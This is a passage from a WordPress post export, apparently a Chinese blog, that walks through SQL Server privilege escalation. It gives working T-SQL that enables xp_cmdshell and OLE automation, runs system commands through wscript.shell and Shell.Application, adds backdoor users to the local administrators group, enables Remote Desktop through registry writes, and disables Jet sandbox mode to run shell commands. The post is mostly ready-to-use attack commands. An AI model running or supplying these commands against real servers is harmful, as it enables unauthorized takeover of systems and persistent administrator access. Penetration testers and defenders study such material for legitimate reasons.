xp_cmdshell<\/p>\n<pre><code>exec sp_configure 'show advanced options',1;reconfigure;\nexec sp_configure 'xp_cmdshell',1;reconfigure;\n<\/code><\/pre>\n<p>\u6b64\u65f6\u5373\u53ef\u901a\u8fc7 xp_cmdshell \u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/p>\n<p>5.\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u6dfb\u52a0\u7528\u6237<br \/>\n\u521b\u5efa\u7528\u6237<\/p>\n<pre><code>exec master..xp_cmdshell &quot;net user name password \/add&quot;\n<\/code><\/pre>\n<p>\u6dfb\u52a0\u7528\u6237\u5230\u7ba1\u7406\u7ec4<\/p>\n<pre><code>exec master..xp_cmdshell &quot;net localgroup administrators name \/add&quot;\n<\/code><\/pre>\n<h2>\uff084\uff09sp_oacreate<\/h2>\n<h3>1\uff09\u7b80\u4ecb<\/h3>\n<p>\u5728 xp_cmdshell \u88ab\u5220\u9664\u6216\u8005\u51fa\u9519\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u5145\u5206\u5229\u7528 sp_oacreate \u8fdb\u884c\u63d0\u6743\u3002<br \/>\n\u5229\u7528OLE\u5bf9\u8c61\u63a5\u53e3\uff0cSQL Server\u63d0\u4f9b\u4e86\u4e00\u4e9b\u51fd\u6570\u8bbf\u95ee OLE\u5bf9\u8c61\uff0c\u5206\u522b\u662f sp_oacreate \u548csp_oamethod\uff0c\u53ef\u5229\u7528\u5b83\u4eec\u8c03\u7528 OLE\u63a7\u4ef6\uff0c\u95f4\u63a5\u83b7\u53d6\u4e00\u4e2ashell<\/p>\n<h3>2\uff09\u5229\u7528<\/h3>\n<p>1.\u5224\u65ad\u662f\u5426\u5b58\u5728 sp_oacreate<br \/>\n\u5224\u65ad\u6570\u636e\u5e93\u4e2d\u662f\u5426\u5b58\u5728 sp_oacreate \u7ec4\u4ef6\uff0c\u8fd4\u56de\u7ed3\u679c\u4e3a1\u8868\u660e\u7ec4\u4ef6\u5b58\u5728<\/p>\n<pre><code>select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'sp_oacreate';\n<\/code><\/pre>\n<p>2.\u68c0\u6d4b sp_oacreate \u662f\u5426\u542f\u7528<br \/>\n\u5c1d\u8bd5\u901a\u8fc7 sp_oacreate \u6267\u884c\u547d\u4ee4\uff0c\u68c0\u6d4b sp_oacreate \u662f\u5426\u542f\u7528<\/p>\n<pre><code>declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe \/c net user';\n<\/code><\/pre>\n<p>3.\u542f\u7528\u7ec4\u4ef6<br \/>\n\u7cfb\u7edf\u7ba1\u7406\u5458\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528 sp_configure \u542f\u7528 sp_oacreate<\/p>\n<pre><code>exec sp_configure 'show advanced options',1;reconfigure;\nexec sp_configure 'Ole Automation Procedures',1;reconfigure;\n<\/code><\/pre>\n<p>4.\u6dfb\u52a0\u7528\u6237<\/p>\n<pre><code>declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe \/c net user zhangsan 123456 \/add' --\n\ndeclare @shell int exec sp_oacreate 'wscript.shell',@shell output \nexec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe \/c net localgroup administrators zhangsan \/add' --\n<\/code><\/pre>\n<p>5.\u6267\u884c\u547d\u4ee4<\/p>\n<pre><code>declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe \/c whoami &gt;c:\\1.txt' --\n<\/code><\/pre>\n<h3>3\uff09wscript.shell<\/h3>\n<p>\u5728SQL Server 2008\u548cSQL Server 2000\u4e0a\u90fd\u9002\u7528<\/p>\n<pre><code># \u58f0\u660e\u4e00\u4e2a\u53d8\u91cf\ndeclare @shell int;\n\n# \u4f7f\u7528sp_oacreate\u8c03\u7528wscript\u5bf9\u8c61\nexec sp_oacreate 'wscript.shell',@shell output;\n\n# \u4f7f\u7528sp_oamethod\u8c03\u7528\u53d8\u91cf\u7684\u5c5e\u6027run\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\nexec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe \/c net user test test \/add';\n<\/code><\/pre>\n<h3>4\uff09Shell.Application<\/h3>\n<p>SQL Server 2008\u4e0d\u53ef\u7528\uff0c SQL Server 2000\u53ef\u7528<\/p>\n<pre><code># \u6dfb\u52a0\u7528\u6237 test\/test\ndeclare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd \/c net user test test \/add','c:\\windows\\system32','','1';\n<\/code><\/pre>\n<h2>\uff085\uff09xp_regread<\/h2>\n<p>1.\u662f\u5426\u5f00\u542f\u8fdc\u7a0b\u684c\u9762<br \/>\n1\u8868\u793a\u5173\u95ed\uff0c0\u8868\u793a\u5f00\u542f<\/p>\n<pre><code>exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\Terminal Server','fDenyTSConnections'\n<\/code><\/pre>\n<p>2.\u8bfb\u53d6\u8fdc\u7a0b\u684c\u9762\u7aef\u53e3<\/p>\n<pre><code>EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp','PortNumber'\n<\/code><\/pre>\n<p>3.\u5f00\u542f\u8fdc\u7a0b\u684c\u9762<\/p>\n<pre><code>EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\Terminal Server','fDenyTSConnections','REG_DWORD',0;\n<\/code><\/pre>\n<p>4.\u5173\u95ed\u8fdc\u7a0b\u684c\u9762<\/p>\n<pre><code>EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\Terminal Server','fDenyTSConnections','REG_DWORD',1;\n<\/code><\/pre>\n<h2>\uff086\uff09\u6c99\u76d2\u6a21\u5f0f<\/h2>\n<p>\u53ea\u6709 windows xp\u548c windows 2003\u53ef\u7528<\/p>\n<p>\u6c99\u76d2\u6a21\u5f0f\u662f\u6570\u636e\u5e93\u7684\u4e00\u79cd\u5b89\u5168\u529f\u80fd\uff0c\u5728\u6c99\u76d2\u6a21\u5f0f\u4e0b\uff0c\u53ea\u5bf9\u63a7\u4ef6\u548c\u5b57\u6bb5\u5c5e\u6027\u4e2d\u7684\u5b89\u5168\u4e14\u4e0d\u542b\u6076\u610f\u4ee3 \u7801\u7684\u8868\u8fbe\u5f0f\u6c42\u503c\u3002\u5982\u679c\u8868\u8fbe\u5f0f\u4e0d\u4f7f\u7528\u53ef\u80fd\u4ee5\u67d0\u79cd\u65b9\u5f0f\u635f\u574f\u6570\u636e\u7684\u51fd\u6570\u6216\u5c5e\u6027\uff0c\u5219\u53ef\u8ba4\u4e3a\u5b83\u662f\u5b89\u5168 \u7684\u3002<\/p>\n<p>\u65e0\u6cd5\u6267\u884c\u547d\u4ee4\u65f6\uff0c xp_regwrite \u53ef\u7528<\/p>\n<ul>\n<li>\u542f\u7528Ad Hoc Distributed Queries<\/li>\n<\/ul>\n<pre><code>exec sp_configure 'show advanced options',1;reconfigure;\n\nexec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure\n<\/code><\/pre>\n<ul>\n<li>\u8bfb\u53d6SandBoxMode\uff08\u53ef\u9009\uff09<\/li>\n<\/ul>\n<pre><code>exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode';\n<\/code><\/pre>\n<pre><code>SandBoxMode\u53c2\u6570\u542b\u4e49\uff08\u9ed8\u8ba4\u662f2\uff09\n0\uff1a\u5728\u4efb\u4f55\u4f7f\u7528\u8005\u4e2d\u7981\u6b62\u542f\u7528\u5b89\u5168\u6a21\u5f0f\n1\uff1a\u4ec5\u5728\u5141\u8bb8\u8303\u56f4\u5185\n2\uff1a\u5fc5\u987b\u5728access\u6a21\u5f0f\u4e0b\n3\uff1a\u5b8c\u5168\u5f00\u542f\n<\/code><\/pre>\n<ul>\n<li>\u5173\u95ed\u6c99\u76d2\u6a21\u5f0f<\/li>\n<\/ul>\n<pre><code>exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode','REG_DWORD',0;\n<\/code><\/pre>\n<ul>\n<li>\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/li>\n<\/ul>\n<pre><code># \u6dfb\u52a0\u7528\u6237 test\/test\nselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\\windows\\system32\\ias\\ias.mdb','select shell(&quot;cmd.exe \/c net user test test \/add&quot;)');\n\nselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\\windows\\system32\\ias\\ias.mdb','select shell(&quot;cmd.exe \/c net localgroup administrators test \/add&quot;)');\n\n# \u6267\u884cwhoami\u547d\u4ee4\nselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\\windows\\system32\\ias\\ias.mdb','select shell(&quot;cmd.exe \/c whoami&quot;)');\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001Mysql\u63d0\u6743 \uff081\uff09\u5229\u7528\u573a\u666f \u76ee\u6807\u4e3b\u673a\u5f00\u542f MySQL\u8fdc\u7a0b\u8fde\u63a5\uff0c\u5e76\u4e14\u653b\u51fb\u8005\u5df2\u7ecf\u83b7\u5f97MySQL\u6570\u636e\u5e93\u8fde\u63a5\u7684 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[66,9],"tags":[],"class_list":["post-2507","post","type-post","status-publish","format-standard","hentry","category-66","category-9"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2507","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2507"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2507\/revisions"}],"predecessor-version":[{"id":2508,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2507\/revisions\/2508"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2507"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2507"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2507"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}